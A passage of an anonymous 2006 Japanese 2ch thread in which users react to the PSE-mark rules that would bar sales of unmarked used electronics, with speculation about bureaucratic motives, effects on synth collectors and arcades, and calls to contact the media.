Ａ５ 　個人の場合、事業として販売をしているか否かで異なります。
　例えば、個人が自分で使うために購入した製品を、必要が無くなった等の理由で販売する場合などは、
電気用品安全法の対象外となります。
　しかし、個人による販売であっても、一度に大量に販売したり、何度も繰り返し販売すれば、
電気用品安全法上の「販売の事業」と考えられ、電気用品安全法上の販売の規制の対象となります。

>>124
＞・フリマについては、「売買を目的とした陳列」「仲買行為」に相当すると思われ。
＞規制されると思います。

「売買を目的とした陳列」これは個人レベルの少数なら問題なし。

「仲買行為」
卸や仲買は業者間での取引で使う言葉。
個人相手のフリーマケットにまで当てはまると考えるのは無理がある。

230 ：名無しさん＠６周年：2006/02/13(月) 20:29:36 ID:D2wYj/jC0

>>205
バブル潰しの総量規制みたいだな。
役人のやることはいつも同じだなあ〜

231 ：名無しさん＠６周年：2006/02/13(月) 20:29:41 ID:F9/m+ROZ0

>>178
廉価量販品じゃ無いものについては、各メーカーが個別対応するでしょうね。
元々、基本メンテ料金込みみたいな価格設定になっている訳だし。

232 ：名無しさん＠６周年：2006/02/13(月) 20:29:46 ID:kM6TuLgZ0

自分で直して使え。
オタオタするな。かば。

233 ：名無しさん＠６周年：2006/02/13(月) 20:30:06 ID:IjDCJ2Jx0

>>212
量販店は、力関係で返品突っ返せるみたいだしな。
そう言うことが出来ない、地方の中小家電店潰し、である事は明らかだな。

234 ：名無しさん＠６周年：2006/02/13(月) 20:30:18 ID:yS5xLnF60

>>227
まずはNews23だろうか。やっぱり。

235 ：名無しさん＠６周年：2006/02/13(月) 20:31:04 ID:QAfTPSWm0

昔TVで家電を洗剤で洗って直しているおっさんがいたのを思い出した

236 ：名無しさん＠６周年：2006/02/13(月) 20:31:35 ID:Z0kEjHuH0

>>233
>地方の中小家電店潰し
むしろそこまで考えてなくて結果的にそうなっちゃったどうしよう。
ってとこじゃねぇか？

237 ：名無しさん＠６周年：2006/02/13(月) 20:31:36 ID:YJSAfHVW0

>>226
そっちのほうを突付いてみるのも手かもね。
そのあたりの資産が価値ゼロになったら、
こわい兄さん方がワラワラ経済産業省に
押し寄せてくるよｗ

238 ：名無しさん＠６周年：2006/02/13(月) 20:31:51 ID:F3ysGA57O

すげー
坂本龍一キター

239 ：名無しさん＠６周年：2006/02/13(月) 20:31:56 ID:oFNq41n50

下取りもダメってこと　　だよな？

240 ：名無しさん＠６周年：2006/02/13(月) 20:32:19 ID:tmU/8REm0

輸入品は製造段階でなくてもマークを付けられるんだろ？輸入業者が。
そしたら、中古品を一回海外に廃品として引き取ってもらう→そこから日本に再生品として「輸出」→
輸入品としてマーク取得→(ﾟдﾟ)ｳﾏｰ

こんな感じで頼む

241 ：名無しさん＠６周年：2006/02/13(月) 20:32:27 ID:u3zW3LmC0

政府批判の大好きなニュース２３なら取り上げるかもしれないと思ったが
結局はスポンサーが大手メーカーなのでダンマリの悪寒。

どっちに転んでも使えない筑紫･･･。

242 ：名無しさん＠６周年：2006/02/13(月) 20:32:29 ID:sdTdbmkU0

　中古パーツはOKなんでしょ
ジャンクで売れるなら問題ないね

243 ：名無しさん＠６周年：2006/02/13(月) 20:32:41 ID:TC1WOOE10

9月までこういう怪しい動きが相次ぐんだろな。

244 ：名無しさん＠６周年：2006/02/13(月) 20:33:42 ID:xURnNuSL0

大企業の富だけを守り、他の国民
を貧しくする自民党にはもうもりごり。

そういえば、今年中小企業
への大増税がせまってるな。

245 ：名無しさん＠６周年：2006/02/13(月) 20:33:49 ID:7kmxnpJ+0

しかしマスコミっつーやつらは使えねえなあ

246 ：名無しさん＠６周年：2006/02/13(月) 20:33:56 ID:5htoHKqf0

>>229
おｋ。

「不要になったので出品します」

これだな。

247 ：名無しさん＠６周年：2006/02/13(月) 20:34:09 ID:qyc6fkEE0

>>233

わかりやすく言うとこの判定機関はJASRAC。やってることはことごとく似ているよ。
改革改革と言っておきながら、実際は改革を阻止する形で官僚が全て動いている。

率直に言って【　あ・ま・く・だ・り　】をしっかりと作ってのうのうとしているということ。

大手企業は付け届けがしっかり出来たけど関係のない中小は潰せということ。
だって、それがグローバル化なんだもん♪

248 ：名無しさん＠６周年：2006/02/13(月) 20:34:18 ID:gRjWDYnL0

坂本龍一、普段はエコロジー全開で好かないが、今回ばかりは応援するｗ
彼がかなり飽き性だとしても、この問題は無視できないだろう。

249 ：名無しさん＠６周年：2006/02/13(月) 20:34:23 ID:YJSAfHVW0

>>242
売ったら逮捕でしょ。
ジャンクはユーザーが修理して使うことを
期待して売るんだから。

250 ：名無しさん＠６周年：2006/02/13(月) 20:34:31 ID:fRP2owod0

これこそ環境破壊じゃね？
おい環境省なんとかいえよ

251 ：名無しさん＠６周年：2006/02/13(月) 20:34:51 ID:yPEc47Aj0

ライブドア（ＬＤ）の関連会社が虚偽の企業買収情報を公表したなどとされる事件で、
東京地検は１３日、ＬＤ前社長の堀江貴文容疑者（３３）ら４人と法人２社を証券取引法
違反（偽計取引、風説の流布）の罪で東京地裁に起訴した。

　起訴されたのは、法人がライブドアと、その関連会社「ライブドアマーケティング」（ＬＤＭ、
旧バリュークリックジャパン）。個人が堀江前社長のほか、ＬＤ前取締役の宮内亮治容疑者
（３８）▽ＬＤＭ前社長でＬＤ前取締役の岡本文人容疑者（３８）▽ライブドアファイナンス
前社長の中村長也容疑者（３８）。

　地検によると、堀江前社長らは０４年１０月、ＬＤ支配下の投資事業組合がすでに買収し、
資本関係や人的関係があった出版社「マネーライフ」について関連会社のＬＤＭが株式交
換によって全く新たに完全子会社化したように発表、買収の目的や交換比率の算定方法
などについても虚偽の事実を公表した（偽計取引）。さらに同年１１月のＬＤＭの決算短信
で、本当は赤字なのに架空売り上げを計上する方法で経常利益７２００万円などと公表
し、株価を上げるために市場を欺いた（風説の流布）とされる。

http://www.asahi.com/national/update/0213/TKY200602130121.html

252 ：名無しさん＠６周年：2006/02/13(月) 20:35:17 ID:wXkVTdjl0

セガ信者の俺は今後60年間自民党には投票しません

253 ：名無しさん＠６周年：2006/02/13(月) 20:35:26 ID:HI1OM8TE0

エフェクタもだめなのか＿|￣|○
ＳＨＵＲＥ５８とかはパッシヴなマイクとかは、楽器扱い？

254 ：名無しさん＠６周年：2006/02/13(月) 20:36:04 ID:wXIYs9jX0

クローズアップ現代にメル凸しますた

255 ：名無しさん＠６周年：2006/02/13(月) 20:36:51 ID:L3bGk8kt0

これは国内消費を強引に伸ばそうって魂胆でFA?

256 ：名無しさん＠６周年：2006/02/13(月) 20:37:23 ID:D2wYj/jC0

ベータ信者死亡？

そういやオレも８�o持ってるな・・・・・

257 ：名無しさん＠６周年：2006/02/13(月) 20:37:31 ID:Uxks0zzd0

>>209
って事はそれ専門の業者は廃業？？
レンタルって形ならいいのかな？？

258 ：名無しさん＠６周年：2006/02/13(月) 20:37:35 ID:rT+oPXKM0

【政治】韓国人へのビザ恒久化　政府、３月から実施[02/06]
http://news19.2ch.net/test/read.cgi/newsplus/1139225998/


自　民　党　に　投　票　す　る　の　は　や　め　ま　し　ょ　う

259 ：名無しさん＠６周年：2006/02/13(月) 20:37:36 ID:HI1OM8TE0

>>237
資産価値ゼロなら、来期以降の固定資産税や減価償却も変わっちゃうなあ

260 ：名無しさん＠６周年：2006/02/13(月) 20:38:09 ID:W4RnkyTG0

しっかしもったいない法案だよなぁ。
アンティーク全部海に埋めるんだぜ。瓦礫として。
だれかマータイさんに教えてやれよ。嘆くぜきっと。

261 ：名無しさん＠６周年：2006/02/13(月) 20:38:12 ID:u4iIWL8v0

日本の官僚って奴はこんなアホばっかなの？
そんなわけないよね、経済産業省だけだよね
何か嫌になってきたよ。
そして坂本先生、ずっと前から俺ファンです。

262 ：名無しさん＠６周年：2006/02/13(月) 20:38:19 ID:XCUEWrjv0

ねぇバーチャルボーイは、バーチャールボーイはどうなるの？

263 ：名無しさん＠６周年：2006/02/13(月) 20:38:37 ID:XKT0bqon0

FiveGは許可申請して今後もビンテージの販売を続けるって話だが。
あそこが亡くなると困るミュージシャンも多いだろうしな。

264 ：名無しさん＠６周年：2006/02/13(月) 20:38:44 ID:slhCJUT90

>>253
基本的に、AC100Vの商用電源に直接繋がる機器がダメだと思っとけばおｋ。

265 ：名無しさん＠６周年：2006/02/13(月) 20:39:09 ID:8gBtjovc0

ＰＳＥ考えた香具師　頭大丈夫か？ｗ

266 ：名無しさん＠６周年：2006/02/13(月) 20:39:27 ID:sdTdbmkU0

>>249
個人売買がOKなら良いや

267 ：名無しさん＠６周年：2006/02/13(月) 20:39:42 ID:didT2uPWO

>>209
(　ﾟдﾟ)

(つд⊂)ｺﾞｼｺﾞｼ

(；ﾟдﾟ)

(つд⊂)ｺﾞｼｺﾞｼ
　　_, ._
（；ﾟ Дﾟ）ガクガクブルブル
工作機械も対象なら企業のみならず
工業高校や高専、大学まで影響がでるぞ！

268 ：名無しさん＠６周年：2006/02/13(月) 20:39:44 ID:U7ggjikp0

これは人権侵害ですね

269 ：名無しさん＠６周年：2006/02/13(月) 20:39:54 ID:3+hcaD/b0

「官報にのせれば、それ以上国民に周知の必要なし」と判断した役人は
判断能力の欠如とみなし業務担当能力欠如、業務不適格なので即刻免職にして下さい。

>250
環境省は都合が悪いとだんまりだよな。
燃料価格の高騰にも何も言わないし。
少しは役に立てよ、環境省。

270 ：名無しさん＠６周年：2006/02/13(月) 20:39:55 ID:ER1DBTSe0

>>266
どうやって相手見つける？

271 ：名無しさん＠６周年：2006/02/13(月) 20:40:16 ID:R5e6rXTE0

>>255
経済産業省が多額の賄賂をもらっただけの話。

272 ：名無しさん＠６周年：2006/02/13(月) 20:40:17 ID:XrS+AT9o0

>>257
PSEマーク付きが出回るまで持ちこたえられなければ廃業でしょうね。
レンタルという形ならOKですが、レンタル落ちやリース落ちって
中古市場で売買してたりするから、その分が破棄費用にかかると
なればレンタル業者も苦しくなるでしょうね。

273 ：名無しさん＠６周年：2006/02/13(月) 20:40:57 ID:KjD3rybX0

みんなマスメディアにメールしろ。知らせる価値はある。

274 ：名無しさん＠６周年：2006/02/13(月) 20:41:14 ID:FfbQ/gjo0

マスコミが一番大切なのは、スポンサー。
スポンサーが一番大切なのは、金で政策を作ってくれる政治家と官僚。

PSEって一体誰が引っ張ってきた利権だよ。

275 ：名無しさん＠６周年：2006/02/13(月) 20:41:51 ID:pEk2Mugs0

いやあ、こうして国内メーカーを保護するんですね
レコードの輸入権といい、ズブズブですねｗｗｗｗｗｗ

276 ：名無しさん＠６周年：2006/02/13(月) 20:42:21 ID:vsj/pzf+0

今北産業　　なに？この祭り

ゲーセンに勤めているんだけど、なんか影響あるのかな・・・・・・・？

277 ：名無しさん＠６周年：2006/02/13(月) 20:42:33 ID:wXkVTdjl0

>>275
この流れでどうしてそんな言葉が出る

278 ：名無しさん＠６周年：2006/02/13(月) 20:42:39 ID:pSW1OD+CO

もう自民党破壊しろよ…
まじで…
誰かたのむよ…!

279 ：名無しさん＠６周年：2006/02/13(月) 20:42:41 ID:XrS+AT9o0

>>255
天下り先を作りたかったでFA

企業天下りがやばくなってきたな〜
許認可団体作ってしまえ！がこれからドンドン増えるかと。

280 ：名無しさん＠６周年：2006/02/13(月) 20:42:52 ID:B2JRSUZn0

国内メーカーを保護するのは構わんが
これ、国内メーカーつっても一部（てか2.3ｗ）の大手企業しか特しないだろ
あとは検査機関の天下り官僚

281 ：名無しさん＠６周年：2006/02/13(月) 20:43:01 ID:sdTdbmkU0

フリマが盛んになるんじゃないかな

282 ：名無しさん＠６周年：2006/02/13(月) 20:43:05 ID:LuGElCTt0

ＰＳＥマークが無い機器をリース契約しているのがいっぱい
契約終了後の買取が出来なくなるのかな？
再リースもやばいのかな

283 ：名無しさん＠６周年：2006/02/13(月) 20:43:11 ID:qyc6fkEE0

ちなみに経済産業省は、自分の地元に江沢民の銅像を立てようとした二階。
ガス田は中川が頑張っていたけど二階になってから中国の言いなり。

靖国のポーズで中国国内は反日本でまとまることが出来て、
実利をたんまりと受け取ることができる。

そこでPSEが出てきたということ。

284 ：名無しさん＠６周年：2006/02/13(月) 20:43:18 ID:g/XoceXY0

自民党にとっては、大企業の新製品を買ってくれれば
人々の財産はどうでもいいってことだろ。

よーーーくわかった。

285 ：名無しさん＠６周年：2006/02/13(月) 20:43:32 ID:u3zW3LmC0

>>262
バーチャルボーイはACアダプタは別売じゃなかったっけ？
アダプタ自体もファミコンのが使えるから問題ないし。
ACアダプタは純正品が任天堂とサードパーティから適合品が出てるはず。

286 ：名無しさん＠６周年：2006/02/13(月) 20:43:48 ID:FfpKCQwr0

大衆社会における経済論議

* 「日本の財政は危機的」はガセ

今日の日本には嘘つきと詐欺師が跋扈している。

http://www.adpweb.com/eco/index.html

287 ：名無しさん＠６周年：2006/02/13(月) 20:44:12 ID:TS4W6iaP0

　　　　も　　　　　　う　　　　　　だ　　　　　　め　　　　　　ぽ

288 ：名無しさん＠６周年：2006/02/13(月) 20:44:14 ID:r+9iEWej0

>>258
ではどこに投票すればいいんだ？
民主：売国
共産：アカ
公明：創価
社民：売国

289 ：名無しさん＠６周年：2006/02/13(月) 20:44:37 ID:1TR/gxg70

賛成していた政党は？

290 ：名無しさん＠６周年：2006/02/13(月) 20:44:43 ID:ZHwp7G0v0

>>276
基盤以外PSEマークが無いものはALLアウト

291 ：名無しさん＠６周年：2006/02/13(月) 20:44:44 ID:A7dpcNF90

もしかして売るときに電源コードを切っちゃえば良いかな。
どんな電化製品も電源が無いんじゃただの箱だし。

292 ：名無しさん＠６周年：2006/02/13(月) 20:44:48 ID:riWBRSLx0

>>259
現行のままならいずれも影響なし
特措法が新しくできるなら別だが

293 ：名無しさん＠６周年：2006/02/13(月) 20:44:52 ID:wXkVTdjl0

>>288
もうどうしようもないから消去法で民主

294 ：名無しさん＠６周年：2006/02/13(月) 20:45:06 ID:wMMX0Ppg0

大物が動いたぞ！
以下mixiから転載
http://mixi.jp/view_bbs.pl?id=4579414&comm_id=583129

坂本龍一氏のメールマガジンに「どうお考えでしょうか？」
という問い合わせをしたところ、次のような返信がありました。
皆さん、力を合わせましょう！

-----以下、スタッフからの返信メール転載


ご連絡いただき、ありがとうございます。
ご指摘いただいた「電気用品安全」について、
坂本は大変に由々しき事態と認識しており早速、
友人でありAPやMAAなどで共に活動している松武秀樹氏を中心に、
JSPA（日本シンセサイザープログラマー協会）にて署名集めなどの準備を始めております。
また、本件については3月5日放送予定のJ-WAVE「Radio　Sakamoto」でも扱う予定です。
今後、ニュースレターやWEB/blogなどでも状況についてのご案内をさせていただきます。

本法の間違った運用が是正されるよう、みなさまのご協力をいただけますようお願いいたします。

295 ：名無しさん＠６周年：2006/02/13(月) 20:45:46 ID:KjD3rybX0

>>274
だったら企業を攻撃。消費者は不買運動という最終手段をもっていることを念頭においておこう。

296 ：名無しさん＠６周年：2006/02/13(月) 20:46:00 ID:4usCqRwMO

省庁と政府は一対なんだよ
法案を潰せるのは国会だけだ
三権中二権は自民の独裁
都合の悪いときだけ官僚のせいにすんな
所詮は公務員だ、国務大臣や総理より偉いわけないだろう

まったく小泉自民信者のおかげで、どんどん日本が狂ってくぜ

297 ：名無しさん＠６周年：2006/02/13(月) 20:46:22 ID:XrS+AT9o0

>>276
新型筐体を買うときに、旧筐体を中古市場に
流したりしてたら影響出るかと。
もしくは、旧型筐体を中古市場で買ったりしてれば
それができなくなる。
レンタルやリースだと問題無さそうだけど・・・
レンタル落ちやリース落ち筐体の処分先がなくなるから、
値上げになる可能性はあるね。

298 ：名無しさん＠６周年：2006/02/13(月) 20:46:32 ID:LTBFw03d0

>>283

自民党のやっってることは「対外的なあおりと、日本人窮乏化」
これに尽きる。

299 ：名無しさん＠６周年：2006/02/13(月) 20:46:47 ID:YJSAfHVW0

>>259
そうだよね。
中古で売れていたのが、いきなり
資産価値ゼロあるいはマイナスだもの。
数十万〜数百万の機器は影響でかいよ。

当然、そういう業界にも通知済みなんでしょうね。

300 ：名無しさん＠６周年：2006/02/13(月) 20:47:02 ID:f8D5m4sl0

え？マジでたたき売り？　DC SS 64 あと何買ったらいい？

301 ：名無しさん＠６周年：2006/02/13(月) 20:47:40 ID:INkpYLDP0

まあ、俺は施行後も売買を続けるよ。摘発第一号になるつもりで。

当然最高裁まで徹底的に争うつもりｗ

302 ：名無しさん＠６周年：2006/02/13(月) 20:47:43 ID:kksbSrSRO

国内品は生産時のみなのに、輸入品は輸入時にマーク付けられるって変じゃねぇ？

303 ：名無しさん＠６周年：2006/02/13(月) 20:48:03 ID:W5ughOkv0

http://www.shugiin.go.jp/itdb_kaigiroku.nsf/html/kaigiroku/001014519990611017.htm
http://www.sangiin.go.jp/japanese/kaigijoho/old_vote/145/145-0802-v003.htm
この法案の基。

中古に対する規制は無かった。
共産党以外全て賛成。

中古も対象に成ったのは経済産業省の糞役人が
加えたと予想される。

304 ：名無しさん＠６周年：2006/02/13(月) 20:48:31 ID:wXkVTdjl0

>>276
アストロシティなどの筐体は処分じゃね？

305 ：名無しさん＠６周年：2006/02/13(月) 20:48:47 ID:tBqVbyEs0

以下の場合には、特別の事情がある場合を除き、営利の意思を持って反復継続して取引を行う者として
販売業者に該当すると考えられる。
但し、これらを下回っていれば販売業者でないとは限らない。商品の種類によっても異なるが、
一般に、特に、メーカー、型番等が全く同一の新品の商品を複数出品している場合は、
販売業者に該当する可能性が高いことに留意すべきである。

�@過去１ヶ月に200点以上又は一時点において100点以上の商品を新規出品している場合
但し、トレーディングカード、フィギュア、中古音楽ＣＤ、アイドル写真等、趣味の収集物を
処分・交換する目的で出品する場合は、この限りではない。

�A落札額の合計が過去１ヶ月に100万円以上である場合 但し、自動車、絵画、骨董品、ピアノ等の高額商品であって
１点で100万円を超えるものについては、同時に出品している他の物品の種類や数等の出品態様等を併せて総合的に
判断される。

�B落札額の合計が過去１年間に1,000万円以上である場合

306 ：名無しさん＠６周年：2006/02/13(月) 20:49:01 ID:HI1OM8TE0

結局５年間もの間、周知もせず、問題点の洗い出しもせず
ギリギリになって気づいた消費者が悪いと

はいはい

307 ：名無しさん＠６周年：2006/02/13(月) 20:49:08 ID:u4iIWL8v0

>>301
華麗に違憲判決とってくれ
歴史に残る

308 ：名無しさん＠６周年：2006/02/13(月) 20:49:14 ID:v+e2aVm10

ここ数年、家電屋でビデオデッキ見た奴いるか？

もう、ほとんどDVDプレーヤーに置き換えてるだろ？
だけどな、VHSでしかソースが存在しない昔のテレビ録画･レンタル流れの映画を入手できた時、
どうすりゃ良い？

とりあえず鑑賞したり、場合によってはDVDなりHDDに落としたい、と思うだろ？

だけどな、現状家電屋では「3次元YC」だとか「ノイズリダクション」のツマミがついてるデッキ、
ほとんど無いんだよな････

そりゃそうだろ。みんなDVDのデッキになってるんだから。
もはや、新品じゃ、「こまやかに調整できるデッキ」は調達が困難なわけさ････

それだけじゃないんだよ。DVDのデッキにも問題があってね････
「良いチューナー･良いエンコードボードを搭載した高級機」ってのが、ここ最近DVDプレーヤーの
ラインナップから姿消してるんだよ。
「高価格機」も、「中価格機」も、違いは「HDDの量」だとか、「チューナー二基搭載」だとか、
その程度の差しかないんだよ。

これ、どういうことかというと、「地上波アナログ放送」や「アナログ入力」の際、
「入力時点で」画質が劣化することを意味するわけ、ね。
で、現在のDVDレコーダーにおいては、「コピーワンス縛り」でガチガチに規制。
更に、今後ブルーレイやHDDVDのレコーダーを投入する際、「アナログ端子」を抹殺するという意向もあるそうな。

「昔撮った子供の運動会」のビデオ、多分、10年後には動作検証すら出来なくなってるんじゃないの？

309 ：名無しさん＠６周年：2006/02/13(月) 20:49:22 ID:B2JRSUZn0

>>279
やっぱJASRACは一回潰れるべきだよｗ
悪しき前例に違いない

310 ：名無しさん＠６周年：2006/02/13(月) 20:49:35 ID:C0MfUAPg0

お前ら地デジ用のテレビ買えよってことですね

311 ：名無しさん＠６周年：2006/02/13(月) 20:49:40 ID:KjD3rybX0

共産党に騒いでもらうか？みんなで代々木にゴー！

312 ：名無しさん＠６周年：2006/02/13(月) 20:49:51 ID:F9/m+ROZ0

>>279
実際にそんな所だろうな。
連中に電気の知識がどこまであるのか疑わしいし。
場合によっては化学の知識(外郭素材とか)も必要だし。

そもそも、試験するのは製造業者であって、認証機関ではないから。
中国製の安いのを買ってきて、中を開けてみて、
実際にきちんと試験しているかどうかを検証してみるのも一興かもしれないな。
(多分、明らかに変なのもあるから)

313 ：名無しさん＠６周年：2006/02/13(月) 20:49:56 ID:vsj/pzf+0

>>290
うちの店、メーカー系じゃないから、ビデオゲーム機は常に中古機売買でまわしているんだが。。
他の筐体もほとんど中古だよ。

314 ：名無しさん＠６周年：2006/02/13(月) 20:50:12 ID:dGlULOf+0

今さっき、しょうがないから三菱製S-VHSビデオデッキ（ジャンクだけど再生録画ｏｋ）4割引きで買ってきたよ。
昔のS-VHSデッキだから多機能で見るからに金かかってるような感じ
DVDHDDメインだけど古いテープをダビングするにしても送り出しよくしたいしもうこんなデッキ入手困難だろうし

315 ：名無しさん＠６周年：2006/02/13(月) 20:50:15 ID:l8qqReWI0

なんか　国がへんな方向に歩みつつあるな

オーセンティックに物事に取り組めない国　それが日本　か・・・・
詭弁ガイドランのありえない解決策を図るを地で言っているな

316 ：名無しさん＠６周年：2006/02/13(月) 20:50:32 ID:04Nk/eCu0

お前等今騒いどかないと、一生後悔しますよ。

消費者保護か悪法か、経済産業省「電気用品安全法」などを改正の検討:Garbagenews.com
http://www.gamenews.ne.jp/archives/2006/01/post_487.html

購入から一定期間が経つと製品が作動しなくなる「タイムスタンプ」機能を製品につけ、
消費者に定期点検をうながす案などが浮上、 早ければ2006年度中の改正を目指す。

317 ：名無しさん＠６周年：2006/02/13(月) 20:50:41 ID:ZZwzOeIu0

漏れは今後PSEマークの付いているものは
出来るだけ買わないようにすることに決めた。

家電製品は個人輸入で凌ぐ。
どうせTVは見ないし。

318 ：名無しさん＠６周年：2006/02/13(月) 20:50:42 ID:iErg9UBY0

>>310
スレとはあんま関係ないが地デジになったらテレビ見るのやめる
今でも大して見てないし

319 ：名無しさん＠６周年：2006/02/13(月) 20:50:42 ID:KQxQuHbD0

>>296
つか、ミンスも賛成しただろw

320 ：名無しさん＠６周年：2006/02/13(月) 20:50:43 ID:pEk2Mugs0

>>288
自民：売国


なので自民以外の売国に入れよう。
俺はアカに入れてるがｗ

321 ：名無しさん＠６周年：2006/02/13(月) 20:50:44 ID:536gfjyY0

アメ牛にはBSEマークでも付けとけ

322 ：名無しさん＠６周年：2006/02/13(月) 20:50:56 ID:slhCJUT90

>>304
音ゲーみたいな特殊筐体が特に悲惨だな。

323 ：名無しさん＠６周年：2006/02/13(月) 20:51:12 ID:gRjWDYnL0

残　念　、　Moog　ボ　イ　ジ　ャ　ー　が　な　ん　と　P　S　E　の　せ　い　で　こ　の　値　段　！　！　！　！

ミニムーグだけじゃなく、なんと現行のボイジャーまで規制対象です。

そ　し　て　あ　の　ロ　ー　ズ　ス　ー　ツ　ケ　ー　ス　が　２　万　円　！　！　！　！　


PSEでさぁ大変！
あなたの持ってるアナログシンセの買取値段を見てみましょう！
ttp://www.sofmap.com/spkaitori/search/exec/_/tid=SPHD/-/no=01

PROPHET5　\35,000
MINIMOOG VOYAGER \32,000
MS404 \4,000

ジャンル ： MIDI
メーカー ： Rhodes(Fender)
商品名・型番 ： SUIT CASE 73key MK1(Wood Keys)/FenderRhodesロゴ有り
買取上限金額 \20,000

ジャンル ： MIDI
メーカー ： waldorf
商品名・型番 ： THE WAVE
買取上限金額 \26,000

ジャンル ： MIDI
メーカー ： access
商品名・型番 ： VIRUS b
買取上限金額 ： \17,000

324 ：名無しさん＠６周年：2006/02/13(月) 20:51:13 ID:BT+NWHLd0

　

い　つ　か　ら　こ　ん　な　風　に　な　っ　た　の　？

325 ：名無しさん＠６周年：2006/02/13(月) 20:51:32 ID:B2JRSUZn0

>>288
成立時は中古対象じゃなかったんだから
国会関係ないじゃん

326 ：名無しさん＠６周年：2006/02/13(月) 20:52:07 ID:jQGHp7g60

　　　　 ミ::::::､:::ﾄ､lVヾ.i/　 　 　 　 _
　　　　.ﾐ:＼､|ヽ!　　　|　,、　　 ／　 ＼　 |　電　矢　し
〃}ﾊ「ヾ::::::ゞ　　　　　∨ `ｰ '´　　　　 　 |　流　木　か
:::〈{::::|L__ミ　　　　 　 /　　　　　,.u.-─　│ 走　に.　し
:::::::〉:::￣:＞　　　　 /｀ヽ、　 ｒ'´　　　　　／ る 　 　
:::〃::::::::三__　 　 　 l＝= ､　 _. ==＝＝ °
:::{[:::::::::::＞　　　　　 l ｰﾟ-ﾉ　 " ｰﾟ-‐ '　　 |. |_.| |　 |
v/∠::::∠＿　　　　　l.／ 　 v　　　 　 __　 |.|_//　│
　　≦::::::∠._　 　 　 /　　__-，　 ij　　j｢ 　 |し'　　 |
1ｨトヽ::::::::／　　　　‘ｰ　　　　　　 　 　 　 /:l.　　　|
く:::::::::::∠ -ｧ'´ 　 　 　 l (二ﾆ二つ　　　 /:　l.　　 l
/::::::::::::::::::フ.ィ　　　　　 l　　＿_ 　 u 　 /::　 :l　　,'＼
L_::::-:=-:三,　,.ィ　　 　 _｣ 　 ￣　　 　 /::　　 :l　/: : :
√´:::::::::::::/／ﾚL -‐'7¨ /l 　 　 u 　 /:::　　　 :l/: : :/
_ゝVﾚ/∠ -‐:7: :/: :/: :/: :`ｧ┬─‐::':::　 　 　 /: : :/:
＞:-‐:7: :/: :/: :/: :/: :/: : :/ : :|::::::::::::　　　　 /: : :/:

327 ：名無しさん＠６周年：2006/02/13(月) 20:52:09 ID:i457ogts0

>>303
＞中古に対する規制は無かった。

それって単に、
「中古を対象外にしようとする動きが無かった」
ってだけの事なんだけどな。

行政から見て、特に規定してないかぎり、
新品の販売も中古の販売も関係ないよ。

わいせつ図書や児童ポルノの販売禁止や
18禁物の規制をする時でも、
いちいち新品はNGで中古もNGとか説明されないっしょ。

328 ：名無しさん＠６周年：2006/02/13(月) 20:52:16 ID:sMmVbmJs0

ハイ、またまとめのトップが消されました。

329 ：名無しさん＠６周年：2006/02/13(月) 20:52:44 ID:04Nk/eCu0

経済産業省と電気用品安全法届出等窓口数カ所に電話してきた　んで、わかった事は

・事業を行うモノは2006/04/01からはPSEマークがついてないヤツは新品/中古とも販売しては駄目
　第四章　販売等の制限（第二十七条・第二十八条）というヤツですな

　んじゃ、事業ではない個人はいーの？と聞いたらこれが凄く曖昧　事業とは継続・反復して販売する
　モノを指すので余りやり過ぎると事業と見なされるとの事。んで『じゃ個人と事業の判断基準はなーに？』
　と聞いたら『特に決まっていません』との回答。試しに『月に１、２台オーディオ製品を売るのは大丈夫？』と
　聞いたら『それは事業と見なされます』とか言って来た(オイオイ、さっき基準がねーとか言っただろーが
　大体月に１，２台ってマニアのヤツなら十分考えられる台数だぞ！！）

　他の窓口でも大体同じ答え。継続・反復しなければ個人での販売はOKみたいなニュアンスで話してた（まぁ
　基準が全然ハッキリしないんだけどね・・・・・・・)

330 ：名無しさん＠６周年：2006/02/13(月) 20:52:49 ID:tBqVbyEs0

>>302
外車の中古も輸入すると新車登録なんだわ。

331 ：名無しさん＠６周年：2006/02/13(月) 20:52:57 ID:ZZwzOeIu0

>>312
既にPSEマーク付きで火を噴いた製品があるって聞いたよ。

JETだかULだか知らんけどちゃんと審査してるのかな。
それとも申請書を偽装したのか？

332 ：名無しさん＠６周年：2006/02/13(月) 20:53:07 ID:BaRqs7pW0

ていうか、衝撃走りすぎなんだけど。


ＣＰＵとかＶＧＡの中古とかってもう売買できないのか？

333 ：名無しさん＠６周年：2006/02/13(月) 20:53:15 ID:YJSAfHVW0

>>311
共産党は、かえってまずいかもね。
それより、医師会だな。
４月１日以降、今もってる医療機器って中古で売れなくなるんだってさ。
中古で何十万かで売れてたのが、タダどころか、廃棄費用がかかるん
だってね。ってさ。

334 ：名無しさん＠６周年：2006/02/13(月) 20:53:30 ID:vX+2OXHg0

>>314
俺も念のためにHV-S95買ってきたｗ

335 ：名無しさん＠６周年：2006/02/13(月) 20:54:08 ID:4IyCZXdw0

もう国産家電は絶対に買わない。
全て個人輸入する。

336 ：名無しさん＠６周年：2006/02/13(月) 20:54:16 ID:OyYePLJL0

医療機器とかは大変だろうねぇ。
ゴットハンド輝の秋月診療所みたいに、中古設備で開業とかはできなくなるねぇ。

337 ：名無しさん＠６周年：2006/02/13(月) 20:54:22 ID:6c4wv1Ep0

中古筐体も売買不可能になるということは中小ゲーセンを潰すつもりと考えて宜しいな？

338 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 20:54:27 ID:9cgQHCbv0

この調子で中古車販売禁止しやがれ
今の車なんて電気製品並の電装積んでるだろうが

中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！

339 ：名無しさん＠６周年：2006/02/13(月) 20:54:32 ID:YFS3I3Q20

>332
とりあえずお前が周りをよく見ない慌て者だという事は判った。

340 ：名無しさん＠６周年：2006/02/13(月) 20:54:33 ID:slhCJUT90

>>332
AC100Vコンセントに直結出来る機器が対象
パソコンは経済産業省の力が及ばないので対象外

341 ：名無しさん＠６周年：2006/02/13(月) 20:54:42 ID:KjD3rybX0

>>328
単に落ちてるだけだろ

342 ：名無しさん＠６周年：2006/02/13(月) 20:54:46 ID:w/fPFlxf0

おまえらバカか？
俺がグッドアイディアを提供しよう。

まず、零細中古屋ども。おまえらは団結して金をプールしろ。
まあ、ざっと10億くらいね。

プールしたら、さっそく告知せよ！
「すきなだけ、中古品を売買しちゃってください！
もし捕まったら、プールしたお金からすべてのケースで罰金全額払います」
とやる。

これでたぶんOKだ。

343 ：名無しさん＠６周年：2006/02/13(月) 20:54:48 ID:u3zW3LmC0

>>331
トミーの子供用玩具でわた飴を作る奴だな。
発火の恐れがあるとして回収騒ぎになってる。

344 ：名無しさん＠６周年：2006/02/13(月) 20:54:58 ID:u4iIWL8v0

